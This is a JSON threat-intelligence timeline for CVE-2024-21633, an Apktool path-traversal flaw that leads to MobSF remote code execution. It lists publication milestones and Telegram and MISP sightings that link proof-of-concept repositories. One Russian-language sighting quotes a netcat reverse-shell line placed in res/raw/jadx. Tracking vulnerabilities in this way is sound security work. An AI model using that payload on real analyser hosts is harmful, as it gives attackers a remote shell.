{"metadata": {"vulnerability": "cve-2024-21633", "count": 42, "kinds": {"milestone": 5, "sighting": 27, "kev": 0, "other": 10}}, "data": [{"timestamp": "2023-12-29T03:00:44.955Z", "date_only": false, "value": "2023-12-29T03:00:44.955Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-21633", "field": "cveMetadata.dateReserved"}, {"timestamp": "2023-12-29T06:02:04.979Z", "date_only": false, "value": "2023-12-29T06:02:04.979656Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-21633", "record": "GSD-2024-21633", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-01-03T16:59:18.566Z", "date_only": false, "value": "2024-01-03T16:59:18.566Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-21633", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-01-03T16:59:18.566Z", "date_only": false, "value": "2024-01-03T16:59:18.566Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "cve-2024-21633", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-01-03T17:15:00Z", "date_only": false, "value": "2024-01-03T17:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2024-21633", "record": "UBUNTU-CVE-2024-21633", "field": "published"}, {"timestamp": "2024-01-03T17:15:13.103Z", "date_only": false, "value": "2024-01-03T17:15:13.103", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-21633", "record": "FKIE_CVE-2024-21633", "field": "published"}, {"timestamp": "2024-01-03T17:15:13.103Z", "date_only": false, "value": "2024-01-03T17:15:13.103", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2024-21633", "record": "GSD-2024-21633", "field": "namespaces.nvd.nist.gov.cve.published"}, {"timestamp": "2024-01-03T18:31:58Z", "date_only": false, "value": "2024-01-03T18:31:58.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/162527", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "28d95f24-36e4-4634-8532-8286918cfd2e", "content": "https://ift.tt/5nqc63g\nCVE-2024-21633", "url": "https://t.me/ctinow/162527"}, {"timestamp": "2024-01-04T01:37:23Z", "date_only": false, "value": "2024-01-04T01:37:23.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/74338", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "5493de64-bb22-45ed-b0d1-dea1b9eae62a", "content": "\u203c\ufe0fCVE-2024-21633\u203c\ufe0f\n\nApktool is a tool for reverse engineering Android APK files. In versions 2.9.1 and prior, Apktool infers resource files' output path according to their resource names which can be manipulated by attacker to place files at desired location on the system Apktool runs on. Affected environments are those in which an attacker may writeoverwrite any file that user has write access, and either user name is known or cwd is under user folder. Commit d348c43b24a9de350ff6e5bd610545a10c1fc712 contains a patch for this issue.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "url": "https://t.me/cibsecurity/74338"}, {"timestamp": "2024-01-07T21:36:47Z", "date_only": false, "value": "2024-01-07T21:36:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/6387", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "2f0be4e6-455e-47aa-b0a2-59c0c5ae49ed", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMobSF Remote code execution (via CVE-2024-21633)\nURL\uff1ahttps://github.com/0x33c0unt/CVE-2024-21633\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/6387"}, {"timestamp": "2024-01-08T09:16:42Z", "date_only": false, "value": "2024-01-08T09:16:42.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/164238", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "fba4884d-e792-4cd8-9252-e266f92dfd24", "content": "https://ift.tt/hRBmIq9\nCVE-2024-21633 Exploit", "url": "https://t.me/ctinow/164238"}, {"timestamp": "2024-01-08T10:32:17Z", "date_only": false, "value": "2024-01-08T10:32:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3815", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "2d940cbe-33a1-4326-aa16-815841c5a430", "content": "#exploit\n1. CVE-2023-0461:\nLinux Kernel privilege escalation\nhttps://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs\n\n2. Apache ActiveMQ RCE\nhttps://y4er.com/posts/apache-activemq-rce\n\n3. CVE-2024-21633:\nMobSF RCE\nhttps://github.com/0x33c0unt/CVE-2024-21633", "url": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3815"}, {"timestamp": "2024-01-08T15:05:05Z", "date_only": false, "value": "2024-01-08T15:05:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/1812", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "52f26ec6-24aa-4e48-9cc8-a25612287a68", "content": "https://github.com/0x33c0unt/CVE-2024-21633\n\nMobSF Remote code execution (via CVE-2024-21633)\n#github  #poc", "url": "https://t.me/CNArsenal/1812"}, {"timestamp": "2024-01-08T19:00:52Z", "date_only": false, "value": "2024-01-08T19:00:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/2669", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "5352f60a-b2b3-4150-bcee-d9cc762a74ec", "content": "#ExploitObserverAlert\n\nCVE-2024-21633\n\nDESCRIPTION: Exploit Observer has 4 entries related to CVE-2024-21633. Apktool is a tool for reverse engineering Android APK files. In versions 2.9.1 and prior, Apktool infers resource files' output path according to their resource names which can be manipulated by attacker to place files at desired location on the system Apktool runs on. Affected environments are those in which an attacker may write/overwrite any file that user has write access, and either user name is known or cwd is under user folder. Commit d348c43b24a9de350ff6e5bd610545a10c1fc712 contains a patch for this issue.", "url": "https://t.me/arpsyndicate/2669"}, {"timestamp": "2024-01-08T20:40:06Z", "date_only": false, "value": "2024-01-08T20:40:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/9750", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "22a1c522-5ab0-4cd9-816e-9ada8a293081", "content": "#exploit\n1. CVE-2023-0461:\nLinux Kernel privilege escalation\nhttps://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs\n\n2. Apache ActiveMQ RCE\nhttps://y4er.com/posts/apache-activemq-rce\n\n3. CVE-2024-21633:\nMobSF RCE\nhttps://github.com/0x33c0unt/CVE-2024-21633", "url": "https://t.me/CyberSecurityTechnologies/9750"}, {"timestamp": "2024-01-10T18:50:41.510Z", "date_only": false, "value": "2024-01-10T18:50:41.510", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-21633", "record": "GSD-2024-21633", "field": "namespaces.nvd.nist.gov.cve.lastModified"}, {"timestamp": "2024-02-05T03:04:05Z", "date_only": false, "value": "2024-02-05T03:04:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/orderofsixangles/2161", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "267bdcb3-4761-427e-a4af-3d6251fa4273", "content": "MobSF Remote code execution (via CVE-2024-21633)\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "url": "https://t.me/orderofsixangles/2161"}, {"timestamp": "2024-02-05T15:29:15Z", "date_only": false, "value": "2024-02-05T15:29:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/3659", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "875cae2e-562f-42fd-b8aa-8755c3d1e797", "content": "#CVE-2024-21633 - #MobSF Remote code execution (#RCE)\n\nMobSF - \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: Android, Apple iOS \u0438 Windows Phone \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Android. \n\n\u041f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0447\u0438\u043d\u043a\u043e\u0439 \u0432 res/raw/jadx \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443\u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f: \n\n\n#!/bin/bash\nnc host.docker.internal 9001 -e sh\n\n\u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u0441 \u0445\u043e\u0441\u0442\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u043e\u0438\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440, \u0438\u0437-\u0437\u0430 \u0444\u0438\u0447\u0438 \u0441\u0430\u043c\u043e\u0433\u043e MobSF \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u043f\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 ${decode target path}/res/   \n\nhttps://www.qu35t.pw/posts/2024-21633-mobsf-rce/\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "url": "https://t.me/poxek/3659"}, {"timestamp": "2024-02-06T04:05:34Z", "date_only": false, "value": "2024-02-06T04:05:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/1962", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "ee84b30f-088f-4cc0-bb0f-34bdeccd7539", "content": "https://www.qu35t.pw/posts/2024-21633-mobsf-rce/\nCVE-2024-21633 - MobSF\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\n#\u5206\u6790 #poc", "url": "https://t.me/CNArsenal/1962"}, {"timestamp": "2024-02-26T09:55:56Z", "date_only": false, "value": "2024-02-26T09:55:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/androidMalware/2144", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "3e3368d7-8608-4d0f-ac91-f27858c91926", "content": "MobSF Remote code execution (via CVE-2024-21633)\nhttps://github.com/0x33c0unt/CVE-2024-21633", "url": "https://t.me/androidMalware/2144"}, {"timestamp": "2024-03-21T15:39:04Z", "date_only": false, "value": "2024-03-21T15:39:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/2JqSwOZZ56AOBDizYN37u67lVuYf8RxnXXxPQt05fvHAjjA", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "1851ce29-7ef7-4e30-8cfe-a4da16ed926e"}, {"timestamp": "2024-08-01T22:27:35.807Z", "date_only": false, "value": "2024-08-01T22:27:35.807Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2024-21633", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-16T09:01:19Z", "date_only": false, "value": "2024-08-16T09:01:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Rootsec_2/2447", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "b841cda7-449b-41b4-ba4e-42517ab4472b", "content": "#exploit\n1. CVE-2023-0461:\nLinux Kernel privilege escalation\nhttps://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs\n\n2. Apache ActiveMQ RCE\nhttps://y4er.com/posts/apache-activemq-rce\n\n3. CVE-2024-21633:\nMobSF RCE\nhttps://github.com/0x33c0unt/CVE-2024-21633", "url": "https://t.me/Rootsec_2/2447"}, {"timestamp": "2024-10-24T14:06:44Z", "date_only": false, "value": "2024-10-24T14:06:44.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/4e6047b9-f909-4642-a315-139d8662d0fe", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "3fe3fbdc-3d4a-40d4-a592-0e6055510e0c"}, {"timestamp": "2025-02-06T03:13:46Z", "date_only": false, "value": "2025-02-06T03:13:46.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "5e751be9-6d36-44a0-aa60-3c864d608425"}, {"timestamp": "2025-02-23T04:11:00Z", "date_only": false, "value": "2025-02-23T04:11:00.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "8e95a9f6-4936-4e58-935f-1b6ad7a9a8da"}, {"timestamp": "2025-05-08T18:39:27.065Z", "date_only": false, "value": "2025-05-08T18:39:27.065341Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-21633", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-05-08T18:39:27.065Z", "date_only": false, "value": "2025-05-08T18:39:27.065341Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-21633", "record": "FKIE_CVE-2024-21633", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-06-03T14:43:19.426Z", "date_only": false, "value": "2025-06-03T14:43:19.426Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-21633", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-06-03T14:43:19.426Z", "date_only": false, "value": "2025-06-03T14:43:19.426Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-21633", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-23T21:13:02Z", "date_only": false, "value": "2025-10-23T21:13:02.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "046e6bad-5158-4a1e-a0ea-d4f6bd32e0c8"}, {"timestamp": "2026-05-20T15:07:33Z", "date_only": false, "value": "2026-05-20T15:07:33Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2024-21633", "record": "UBUNTU-CVE-2024-21633", "field": "modified"}, {"timestamp": "2026-06-17T07:09:53.393Z", "date_only": false, "value": "2026-06-17T07:09:53.393", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-21633", "record": "FKIE_CVE-2024-21633", "field": "lastModified"}, {"timestamp": "2026-07-12T22:00:12.722Z", "date_only": false, "value": "2026-07-12T22:00:12.722934Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/824", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "6a79d354-a389-4d05-8452-09a5081f8de9", "url": "https://t.me/securixy_kz/824"}, {"timestamp": "2026-07-13T00:00:36.673Z", "date_only": false, "value": "2026-07-13T00:00:36.673659Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/824", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "5b46acd4-5890-4d3d-bcb9-23753ecf1383", "url": "https://t.me/securixy_kz/824"}, {"timestamp": "2026-07-14T00:00:56.794Z", "date_only": false, "value": "2026-07-14T00:00:56.794192Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/securixy_kz/824", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "3474c04c-744a-404e-843d-3c630f47a779", "url": "https://t.me/securixy_kz/824"}, {"timestamp": "2026-07-17T11:00:06.556Z", "date_only": false, "value": "2026-07-17T11:00:06.556166Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/262", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "3b5aa2ed-9bbe-4b1f-bf4a-2315d184ef98", "url": "https://t.me/cyberwarehouse/262"}, {"timestamp": "2026-07-18T00:00:29.112Z", "date_only": false, "value": "2026-07-18T00:00:29.112303Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/262", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "cba36493-8244-49a4-aea0-36ce99ec00eb", "url": "https://t.me/cyberwarehouse/262"}, {"timestamp": "2026-07-29T12:02:20.393Z", "date_only": false, "value": "2026-07-29T12:02:20.393564Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/4167", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "a65108a3-ab44-440c-bd88-92d5f6b90e7d", "url": "https://t.me/reverseame/4167"}, {"timestamp": "2026-07-30T00:02:23.737Z", "date_only": false, "value": "2026-07-30T00:02:23.737550Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/4167", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "9835b3b1-257f-4123-9aec-d46bb699d8d1", "url": "https://t.me/reverseame/4167"}, {"timestamp": "2026-08-02T10:20:32.783Z", "date_only": false, "value": "2026-08-02T10:20:32.783783Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/4167", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "6ecc8718-0ed6-447c-a6fb-b45ef454787d", "url": "https://t.me/reverseame/4167"}, {"timestamp": "2026-08-03T02:07:15.179Z", "date_only": false, "value": "2026-08-03T02:07:15.179564Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/4167", "record": "CVE-2024-21633", "field": "creation_timestamp", "uuid": "69422ce7-e5cb-4e73-940d-48819d86b9fa", "url": "https://t.me/reverseame/4167"}]}